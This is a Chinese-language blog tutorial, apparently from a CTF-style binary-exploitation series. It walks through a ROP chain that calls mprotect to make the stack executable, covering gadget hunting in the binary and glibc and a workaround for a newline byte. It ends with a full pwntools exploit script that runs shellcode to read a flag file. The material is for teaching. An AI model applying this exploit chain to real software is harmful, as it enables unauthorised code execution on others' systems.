二进制安全之栈溢出(七)
本篇文章会使用一个稍复杂的 gadget,同时解决 gadget 含有换行符带来的问题。
mprotect
之前使用 vmmap
命令的时候会注意到有一列是内存地址的权限,rwx
和文件系统的一致,NX 不可执行就是没有 x
权限,当然这不是绝对的,使用 mprotect
可以修改这个权限,这样的话,就可以在栈上执行 shellcode 了。
1gdb-peda$ vmmap
2Start End Perm Name
30x00400000 0x00401000 r-xp /home/virusdefender/Desktop/pwn/new/vuln
40x00600000 0x00601000 r--p /home/virusdefender/Desktop/pwn/new/vuln
50x00601000 0x00602000 rw-p /home/virusdefender/Desktop/pwn/new/vuln
60x00602000 0x00623000 rw-p [heap]
70x00007ffff7a0d000 0x00007ffff7bcd000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so
80x00007ffff7bcd000 0x00007ffff7dcd000 ---p /lib/x86_64-linux-gnu/libc-2.23.so
90x00007ffff7dcd000 0x00007ffff7dd1000 r--p /lib/x86_64-linux-gnu/libc-2.23.so
100x00007ffff7dd1000 0x00007ffff7dd3000 rw-p /lib/x86_64-linux-gnu/libc-2.23.so
110x00007ffff7dd3000 0x00007ffff7dd7000 rw-p mapped
120x00007ffff7dd7000 0x00007ffff7dfd000 r-xp /lib/x86_64-linux-gnu/ld-2.23.so
130x00007ffff7fda000 0x00007ffff7fdd000 rw-p mapped
140x00007ffff7ff6000 0x00007ffff7ff8000 rw-p mapped
150x00007ffff7ff8000 0x00007ffff7ffa000 r--p [vvar]
160x00007ffff7ffa000 0x00007ffff7ffc000 r-xp [vdso]
170x00007ffff7ffc000 0x00007ffff7ffd000 r--p /lib/x86_64-linux-gnu/ld-2.23.so
180x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /lib/x86_64-linux-gnu/ld-2.23.so
190x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped
200x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
210xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
函数原型是 int mprotect(void *addr, size_t len, int prot);
,addr
是内存地址开头,len
是长度,prot
就是权限位,在 manpage 上有 PROT_WRITE
、PROT_EXEC
、PROT_READ
等几项,权限是位运算之后的数字,根据宏定义, rwx
就是 0x1 | 0x2 | 0x4
。
需要注意的是 mprotect
修改的内存的起始地址必须和内存页对齐,范围也必须是内存页大小的整数倍,否则系统调用会失败,详见 manpage。getconf PAGESIZE
可以获取内存页大小,默认是 4096
。
ROP 构造 gadget
mprotecct
有三个参数,就会使用 rdi, rsi, rdx
寄存器。如果想让整个栈区可执行的话,在 vmmap
可以获取栈区的开头和结尾地址,那三个寄存器的值就分别是 0x00007ffffffde000
、0x00007ffffffff000 - 0x00007ffffffde000
和 0x1 | 0x2 | 0x4
。然后在调用 mproect
系统系统调用的时候,rax
寄存器是系统调用号 0xa
。所以按照之前的文章,只要能找到下面这些 gadget 就可以了。
1pop rdi; ret;
2pop rsi; ret;
3pop rdx; ret;
4pop rax; ret;
5syscall; ret;
但是有些事情总不会太直接,能在二进制文件中只能找到两个 gadget,其中第二个有一个寄存器是没用的,但是并不影响。
1➜ new ROPgadget --binary vuln | grep "pop rdi"
20x0000000000400803 : pop rdi ; ret
3
4➜ new ROPgadget --binary vuln | grep "pop rsi"
50x0000000000400801 : pop rsi ; pop r15 ; ret
这个时候可以去 glibc 中找了。
1# 这个文件处理比较慢,可以先保存下结果
2➜ new ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 > libc.gadget
3
4➜ new grep "pop rdx ; ret" libc.gadget
50x0000000000001b92 : pop rdx ; ret
6
7➜ new grep "pop rax ; ret" libc.gadget
80x0000000000033542 : add al, ch ; pop rax ; ret
9
10➜ new grep "syscall ; ret" libc.gadget
110x00000000000bc375 : syscall ; ret
如果已知 glibc 的加载基址,使用基址加上上面的地址就可以了,这个基址目前可以在 vmmap
或者 ldd
中看到。
0xa
如果按照上面的说法直接写 shellcode,会发现栈上的数据并不全,再认真的调试就会发现,shellcode 中含有 0xa
,也就是 \n
的 ascii,因为 shellcode 是 gets 读入的,所以就会在这里被截断。
我选择了先 pop rax
为 0x9
,然后 add rax, 1; ret
的 gadget。
1➜ new grep "add rax, 1 ; ret" libc.gadget
20x00000000000abf40 : add rax, 1 ; ret
shellcode
1from pwn import *
2
3student = 0x7fffffffe2f0
4shellcode = "1925\n"
5cat = asm(shellcraft.amd64.linux.cat("flag"), arch="amd64", os="linux")
6shellcode += cat + "A" * (0x7fffffffe348 - student - len(cat))
7
8# pop rdi; ret
9shellcode += p64(0x0000000000400803)
10# mprotect arg1 addr -> rdi
11shellcode += p64(0x00007ffffffde000)
12
13# pop rsi; pop r15; ret;
14shellcode += p64(0x0000000000400801)
15# mprotect arg2 size -> rsi
16shellcode += p64(0x00007ffffffff000 - 0x00007ffffffde000)
17# -> r15
18shellcode += p64(0)
19
20libc_base = 0x00007ffff7a0d000
21
22# pop rdx; ret;
23shellcode += p64(libc_base + 0x0000000000001b92)
24# mprotect arg3 rwx -> rdx
25shellcode += p64(0x1 | 0x2 | 0x4)
26
27# pop rax; ret
28shellcode += p64(libc_base + 0x0000000000033544)
29# -> rax
30shellcode += p64(0xa - 1)
31
32# add rax, 1; ret
33shellcode += p64(libc_base + 0x00000000000abf40)
34
35# syscalll; ret
36shellcode += p64(libc_base + 0x00000000000bc375)
37
38# shellcode
39shellcode += p64(student)
40
41print shellcode
运行后可以看到栈区的内存已经是 rwx
的权限了。
10x00007ffffffde000 0x00007ffffffff000 rwxp [stack]
评论区
@Werner 2021-07-19
如果
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6
找不到 gadget “syscall ret”,可以尝试添加参数--multibr
。
评论区